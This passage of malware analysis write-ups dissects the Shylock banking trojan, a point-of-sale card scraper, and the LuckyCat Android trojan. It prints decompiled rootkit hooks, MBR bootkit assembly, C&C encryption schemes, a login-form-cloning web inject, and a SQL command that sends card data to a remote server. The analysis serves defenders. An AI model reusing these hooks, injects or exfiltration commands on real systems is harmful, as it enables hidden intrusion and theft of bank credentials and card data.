will never contain any active connections that are held by Shylock's user-mode components.if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&uniTcpDevice,
1u,
&FileObject,
&DeviceObject); // return device object
status2 = status;
if (status >= 0) // if status is OK
{
driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP: // swap original pointer with the hook
_InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
hook_IRP_MJ_DEVICE_CONTROL);
return 0;
}
return 0;
}
exit:
ms_exc.disabled = -1;
return status;
}
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,
64,
0,
0,
IoDriverObjectType,
0,
0,
&pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
goto exit;
}
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
// MajorFunction[IRP_MJ_DEVICE_CONTROL]
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
goto replace_original_IRP; // get the hooked DeviceIoControl,
// and swap it with the original one
}
+0x70
offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL]
within the driver object.#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
..
typedef struct _DRIVER_OBJECT {
/* 2 */ CSHORT Type; // offset = 0x00
/* 2 */ CSHORT Size; // offset = 0x02
/* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
/* 4 */ ULONG Flags; // offset = 0x08
/* 4 */ PVOID DriverStart; // offset = 0x0c
/* 4 */ ULONG DriverSize; // offset = 0x10
/* 4 */ PVOID DriverSection; // offset = 0x14
/* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
/* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
/* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
/* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
/* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
/* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
/* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
/* 4 */ PDRIVER_DISPATCH
MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;
MajorFunction
list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c
elements, and its offset in the structure is 0x38
. To find out what dispatch routine is references by the offset 0x70
, the offset 0x70
needs to be subtracted with 0x38
(list's offset within the structure), and divided by 4
(size of each pointer within the list):(0x70 - 0x38) / 4 = 0x0e
15
th (0x0e
) element of the dispatch routines is declared as:#define IRP_MJ_DEVICE_CONTROL 0x0e
netstat
.N
-th TCP entry with the TCP entry N+1
(TcpEntry[i]
<- data-blogger-escaped-code="">TcpEntry[i+1]):139
(or 0x8B00
after applying htons() to it). As a result, any connections that involve port 139
disappear from the netstat
output:IRP
hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL
dispatch routines of Tcp
and Nsi Proxy
drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:KeServiceDescriptorTable
patching is surrounded with a conventional cli
/sti
blocks: the cli
-block disables interrupts and removes the write protection, the sti
-block restores everything back:.text:000130AC cli ; disable interrupts
.text:000130AD mov eax, cr0 ; get CR0
.text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
; allows supervisor-level procedures
; to write into read-only pages
.text:000130B5 mov cr0, eax ; save it back into CR0
.text:000130B8 mov eax, KeServiceDescriptorTable
.text:000130BD mov eax, [eax]
.text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6 mov eax, KeServiceDescriptorTable
.text:000130CB mov eax, [eax]
.text:000130CD mov ecx, [ebp+var_14]
.text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7 mov eax, KeServiceDescriptorTable
.text:000130DC mov eax, [eax]
.text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5 mov eax, KeServiceDescriptorTable
.text:000130EA mov eax, [eax]
.text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
.text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
.text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
; writing into read-only pages;
.text:000130FB mov cr0, eax ; save it back into CR0
.text:000130FE sti ; allow interrupts
hook_ZwQuerySystemInformation
is handling those ZwQuerySystemInformation()
calls that query for SystemProcessInformation
type of system information, and is basically a rip-off of Greg Hoglund's process hider.Skype Control API
that uses window messages for communication with Skype.SkypeControlAPIDiscover
message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach
message.Control API
by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow
, second is Deny
. Next, it will start sending clicks to this window, aiming coordinates in a loop from left to right, top to bottom - this will eventually click the Allow
button as it's located left to Deny
button:main.db
file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.netstat
any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.C:\GRLDR
C:\XELDZ
FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
\\.\PhysicalDrive0
DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)
.55AA
- a signature that identifies a bootable drive..text:004024E9 xor ebx, ebx ; EBX is 0
...
.text:0040255E push ebx ; dwMoveMethod = 0
.text:0040255F push ebx ; lpDistanceToMoveHigh = 0
.text:00402560 push ebx ; lDistanceToMove = 0
.text:00402561 push edi ; hFile
.text:00402562 call ds:SetFilePointer ; set pointer at offset 0
.text:00402568 push ebx ; lpOverlapped
.text:00402569 lea eax, [ebp+NumberOfBytesRead]
.text:0040256C push eax ; lpNumberOfBytesRead
.text:0040256D push 512 ; nNumberOfBytesToRead
.text:00402572 lea eax, [ebp+Buffer]
.text:00402578 push eax ; lpBuffer
.text:00402579 push edi ; hFile
.text:0040257A call ds:ReadFile ; read 512 bytes
.text:00402580 call esi ; GetLastError
.text:00402582 test eax, eax
.text:00402584 jnz next_drive ; if error, skip it
.text:0040258A mov eax, 0AA55h ; compare last 2 bytes
.text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
.text:00402596 jnz short close_handle_next_drive
57
.58
, #59
, #60
, #61
, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end)./c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul
-n
switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.58
, #59
, #60
, #61
into the memory at 0x7E00
that immediately follows the MBR code loaded at address 0x7c00
. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.0x9E000
, that is formed as segment register * 16 +
offset of 0
:0x9E00 << 4 + 0 = 0x9E000
.0x5c
. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57
into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0
.0x10D
till 0x18F
, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT
) #13h
- this interrupt is used to read sectors.INT 13h
hook handler is decoded, the original INT 13h
vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0
:MEM:9E0F0 mov eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
MEM:9E0FF mov word ptr ds:offset_4e, es
MEM:9E103 sti
MEM:9E104 popad
MEM:9E106 pop ds
MEM:9E107 pop sp
MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)
INT 13h
replaced, the original vector stored at ds:offset_4c
will now contain 9E10D
- the address of the INT 13h
hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h
call will eventually be invoked by MBR code - this is when the hook handler will be activated.INT 13H
hook handler is interested in 2 types of INT 13
- normal sector read and an extended one used with the larger disks, as shown below:MEM:9E10D Int13Hook proc far
MEM:9E10D pushf ; handle two types of INT 13 below:
MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111 jz short Int13Hook_ReadRequest
MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116 jz short Int13Hook_ReadRequest
MEM:9E118 popf
MEM:9E119
MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123 popf
MEM:9E124 pushf ; push Flags, simulating INT
MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A jb short Int13Hook_ret ; quit if failed
MEM:9E12C pushf
MEM:9E12D cli
MEM:9E12E push es
MEM:9E12F pusha
MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131 [mov ah, ??] operand, 0 by default
MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135 jnz short Int13Hook_notextread
MEM:9E137 lodsw
MEM:9E138 lodsw
MEM:9E139 les bx, [si]
MEM:9E13B assume es:nothing
OSLOADER
module (part of NTLDR
) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER
is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.F0 85 F6 74 21 80
, as shown below:MEM:9E149 Int13Hook_scan_loop:
MEM:9E149 repne scasb
MEM:9E14B jnz short Int13Hook_scan_done
MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155 jnz short Int13Hook_scan_loop
MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
MEM:9E15D jnz short Int13Hook_scan_loop
.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F 8B F0 mov esi, eax
.text:00422A71 85 F6 test esi, esi
.text:00422A73 74 21 jz short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0
OSLOADER
, the kernel patch from the sector #58
is applied to the loader, by directly overwriting its bytes:.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
.text:00422A74 FF D0 call eax ; off_9E233
.text:00422A76 90 nop
.text:00422A77 90 nop
.text:00422A78 90 nop
.text:00422A79 90 nop
.text:00422A7A 90 nop
.text:00422A7B 90 nop
.text:00422A7C 90 nop
.....
off_9E233
points to the code loaded from the sectors #58
-#61
, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER
, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.0x2FE483F3
for an enumerated driver vmscsi.sys
(part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3
, and in case of a match, it quits.GetCommandLineA()
is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E
:DWORD GetHash(char *szApi)
{
DWORD dwHash = 0;
for (DWORD i = 0; i < strlen(szApi); i++)
{
BYTE b = szApi[i];
dwHash ^= b;
__asm
{
ror dwHash, 3
}
if (b == 0)
{
break;
}
}
return dwHash;
}
svchost.exe
and starts a remote thread in it.FIREFOX.EXE
), it will load nss3.dll
and nspr4.dll
. Next, it will place these hooks:IEXPLORE.EXE
), it will load mshtml.dll
and then place following hooks:EXPLORER.EXE
) or system processes USERINIT.EXE
or RUNDLL32.EXE
, then it will hook:user.js
files found in %APPDATA%\Mozilla\Firefox\Profiles
directory, thus manipulating the following security settings of the Firefox browser:security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.https://wguards.cc/ping.html
https://hiprotections.su/ping.html
https://iprotections.su/ping.html
/files/hidden7770777.jpg
int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
int iResult;
int iCount;
if (szString)
{
iCount = 0;
if ((BYTE)dwKey ^ *(LPBYTE)szString)
{
do
{
++iCount;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
}
iResult = iCount;
}
else
{
iResult = 0;
}
return iResult;
}
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
char b1;
char b2;
bool bEndOfString;
if (szEncrypted)
{
while (1)
{
b1 = *(LPBYTE)szEncrypted;
b2 = dwKey ^ *(LPBYTE)szEncrypted;
*(LPBYTE)szEncrypted = b2;
if (iFlag == 1)
{
bEndOfString = b2 == 0;
}
else
{
if (iFlag)
{
goto skip_check;
}
bEndOfString = b1 == 0;
}
if (bEndOfString)
{
return;
}
skip_check:
szEncrypted = (char *)szEncrypted + 1;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
}
}
char szTest[] = "\xE7\xEB\xBB\x91" // key
"\x00\x00\x00\x00" // 4 zeroes
"\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
"\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
"\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";
if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
DecodeString(szTest + 8, *(DWORD*)szTest, 1);
MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}
wguards.cc
becomes ei0nciwerq7q8.wguards.cc
.ca5f2abe
' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z=
URL parameter in it, e.g.:http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]
[encrypted_data]
is a result of:url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))
z=
parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe
' string appended and used as a password, then url-unescapes the resulting data which is a plain text.rc4_init()
and rc4_crypt()
, published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:cmpinfo
' data is accompanied with a control sum and a hash to ensure data integrity ('key
' and 'id
'), it shows an installation mode ('master
'), botnet name ('net2
'), command name ('log
'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.svchost.exe
and explorer.exe
and runs a self-termination batch script, thus quitting its 'installation' phase of running.cmd
' (command) parameter set to 'cfg
' (configuration).net=net2&cmd=cfg
', then feed it to the debugged code to calculate the 'key
' and 'id
' parameters for us. The resulting request will be:key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg
https://y85rqmnuemzxu5z.iprotections.su/ping.html
, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe
', and then base64-encode it. The server will reply the base64-encoded text to such request, transferred via HTTPS:id
' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391
' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:<hijackcfg> <botnet name="net2"/> <timer_cfg success="1200" fail="1200"/> <timer_log success="600" fail="600"/> <timer_ping success="1200" fail="1200"/> <urls_server> <url_server url="https://protections.cc/ping.html"/> <url_server url="https://eprotections.su/ping.html"/> <url_server url="https://iprotections.su/ping.html"/> </urls_server>
... and so onThe XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject
' parameter specified as:<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.
style="display:none;"In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's
.clone()
command:var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');The screenshot below shows the result of such cloning:
jQuery(this).hide();Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);In the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
XDomainRequest()
).PosW32.exe
, locates the tracks' data, then encrypts it and posts it to a remote server.Retalix
; the service is set up to ignore errors, and auto-start with the start of the systemSERVICE_CONFIG_FAILURE_ACTIONS
) so that in case of a failure, the service gets restarted 2 minutes after first, second and any subsequent failure within the servicecmd /c net start Retalix
SeDebugPrivilege
and SeTcbPrivilege
privileges that allow it to call debugging functions, such as ReadProcessMemory()
, and act as part of the operating system.EnumProcesses()
in order to find a process called PosW32.exe
- the targeted StoreLine WinPOS software. If this process exists, it will then read its memory with ReadProcessMemory()
and parse it looking for the field separator characters such as '^
' and '=
'. These separators are used to analyse data found between them, validate it to make sure it consists of allowed characters only and that the data length is valid too. This way, the malware detects data stored on tracks 1 and 2 of the credit card's magnetic stripe in a specific format, similar to the one below:%B4711223344556677^CITIZEN/JOHN^1501101000000012300000?
;4711223344556677=15011010000012300000?
4711 2233 4455 6677
- credit card numberJOHN CITIZEN
- card holder1501
- expiry date (January 2015)1
- International interchange OK0
- Normal1
- No restrictions, No PIN required123
- Card Verification Value or Card Verification Code (CVV/CVC)svchosts.exe -S MFS1 -U sa -P -Q "INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=[REMOTE_IP],443;uid=sa;pwd=[PASSWORD]', 'SELECT tab from rec..tbl') SELECT '[ENCRYPTED_DATA]'"
[REMOTE_IP]
is the IP address of the remote SQL server. In the analysed sample, there are 2 IP addresses used - one hosted in Romania, and another one hosted in Germany.svchosts.exe
, that could be a legitimate SQL command line tool similar to DTM ODBC SQL runner.rec
', the table is 'tbl
'. The switch -S
seems to specify the client's host name - 'MFS1
', which is identical to the main back office server name of the Retalix system, where the store environment is managed from, and where the data on the POS is maintained. This indicates that the trojan aims to be installed at the back office, as shown below:
void decrypt(int result, int iCount)
{
int i1, i2, i3, i4;
i1 = result;
if (iCount)
{
i2 = 11 - result;
do
{
i3 = i1 + i2;
i4 = i3 + 12;
result = i3 * i4;
*(BYTE *)i1 -= result ^ ((i3 * i4) >> 8) ^
((i3 * i4) >> 16) ^ ((i3 * i4) >> 24);
++i1;
--iCount;
}
while (iCount);
}
}
void Decrypt3(LPBYTE lpBuffer)
{
if (lpBuffer[16]) // 16th byte is a flag "encrypted"
{
decrypt((int)(lpBuffer + 20), (int)lpBuffer[18]);
// 18th byte is the string size
// 20th byte is where encrypted bytes start
lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
}
}
BYTE szTest3[] =
{
0xA7,0xC9,0xDF,0xF8,0x30,0x0C,0x52,0x9D,0x0C,0x7F,0xB5,0x32,0x2B,0x05,0xC6,0x08,
0x05,0xD5,0x26,0x00,0x74,0x21,0xA5,0x6D,0x0B,0xC1,0x54,0x1E,0xB0,0x82,0x24,0xEE,
0xA0,0x63,0xFF,0xDF,0x7A,0x64,0x03,0xE8,0x9F,0x85,0x3E,0x1A,0xD0,0xC6,0x73,0x6B,
0x34,0x28,0xD6,0xD4,0x96,0xA9,0x78,0x66,0x42,0x4B,0x00,0x00,0x68,0xB8,0xE7,0x8A,
0x23,0x51,0x36,0x5C,0xCD,0xC3,0x4D,0xE4,0xF2,0xE5,0xCC,0xA3,0x00
};
Decrypt3(szTest3);
A7 C9 DF F8 30 0C 52 9D 0C 7F B5 32 2B 05 C6 | ....0.R....2+..
08 00 D5 26 00 77 00 61 00 77 00 68 00 61 00 | ...&.w.a.w.h.a.
6D 00 7A 00 61 00 61 00 62 00 6F 00 76 00 65 | m.z.a.a.b.o.v.e
00 61 00 72 00 61 00 62 00 69 00 63 00 | .a.r.a.b.i.c.
INSERT INTO Media (Type, MediumDescription) VALUES ('%s', '%s')
SELECT State FROM Pst_States WHERE FileName=? AND Size=%u AND LastModification=%I64d
'alefhamzabelowfinalarabic'
or 'alefqamatshebrew'
. This table is used to convert Postscript glyph names into Unicode codes - presumably to be able to parse the content of Adobe PDF documents written in Unicode Character Entities, such as Hebrew or Arabic.HKLM\SOFTWARE\KasperskyLab\AVP6
HKLM\SOFTWARE\KasperskyLab\protected\AVP7
.text:100C5DE8 sub_100C5DE8 proc near
.text:100C5DE8 push offset aGps_latitude ; "GPS_LATITUDE"
.text:100C5DED call decrypt_string
.text:100C5DF2 pop ecx
.text:100C5DF3 push eax
.text:100C5DF4 push offset GPS_LATITUDE
.text:100C5DF9 call copy_string
.text:100C5DFE push offset sub_100F32F8
.text:100C5E03 call _atexit
.text:100C5E08 pop ecx
.text:100C5E09 retn
.text:100C5E09 sub_100C5DE8 endp
com.testService
. The APK file name could be AQS.apk
or testService.apk
. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:Service Start OK!
, LuckyCat does not seem to do much more: com.testService
will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED
event:
public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
{
private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
public TServiceBroadcastReceiver()
{
}
public void onReceive(Context context, Intent intent1)
{
ComponentName componentName;
if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
{
Intent intent2 = new Intent("android.intent.action.RUN");
Intent intent3 = intent2.setClass(context, TService);
Intent intent4 = intent2.setFlags(268435456);
componentName = context.startService(intent2);
}
}
}
TService
that will run as a process com.testService:remote
, taking 1,060 Kb out of RAM. The trojan reads the state of the device SIM card by calling getSimState()
method, as shown below:
public String getPhoneNumber()
{
StringBuffer stringBuffer1;
String string2;
StringBuffer stringBuffer2;
StringBuffer stringBuffer3;
StringBuffer stringBuffer4;
StringBuffer stringBuffer5;
StringBuffer stringBuffer6;
String string1;
TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
stringBuffer1 = new StringBuffer();
switch (telephonyManager.getSimState())
{
case 1:
stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
string2 = stringBuffer1.toString();
break;
case 0:
stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
string2 = stringBuffer1.toString();
break;
case 4:
stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 2:
stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 3:
stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
default:
string1 = telephonyManager.getLine1Number();
break;
}
return string1;
}
greenfuns.3322.org
, port 54321
. The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz
and 369
, and then encrypted on top with a XOR keys 0x05
and 0x27
:
public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
{
byte[] arrayOfByte1 = new byte[10240];
byte[] arrayOfByte2 = new byte[4];
Arrays.fill(arrayOfByte1, 0, 10240, 0);
Arrays.fill(arrayOfByte2, 0, 4, 0);
System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
int i = 0;
if (i >= paramInt2);
while (true)
{
return;
int j = i + 1;
arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
if (j >= paramInt2)
continue;
i = j + 1;
arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
if (i < paramInt2)
break;
}
}
ejsi2ksz
. It is then decrypted by calling the same symmetrical function encryptKey()
. The decrypted response is then parsed to see if it contains one out of 5 remote commands:
switch
{
case AR_ONLINEREPORT: goto exit;
case AR_REMOTESHELL: goto exit;
case AR_DIRBROSOW: goto browse_directory;
case AR_FILEDOWNLOAD: goto file_download;
case AR_FILEUPLOAD: goto file_upload;
default: goto exit;
}
exit:
mDbgMsg("+++");
exc1();
socket2 = socket3;
mDbgMsg(exc1.getMessage());
socket2.close();
mDbgMsg("socke close");
exc3();
browse_directory:
i8 = 0 + 64;
int j8 = readU16(array_b, i8);
int k8 = i8 + 2;
String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
Arrays.fill(array_b, 64, 10176, 0);
i9 = GetDirList(string3, array_b, 64);
AR_DIRBROSOW
: directory browsing, handled by GetDirList()
AR_FILEDOWNLOAD
: file download, handled by mReadFileDataFun()
AR_FILEUPLOAD
: file upload, handled by mWriteFileDataFun()
AR_ONLINEREPORT
: 'online report' commandAR_REMOTESHELL
: remote shell execution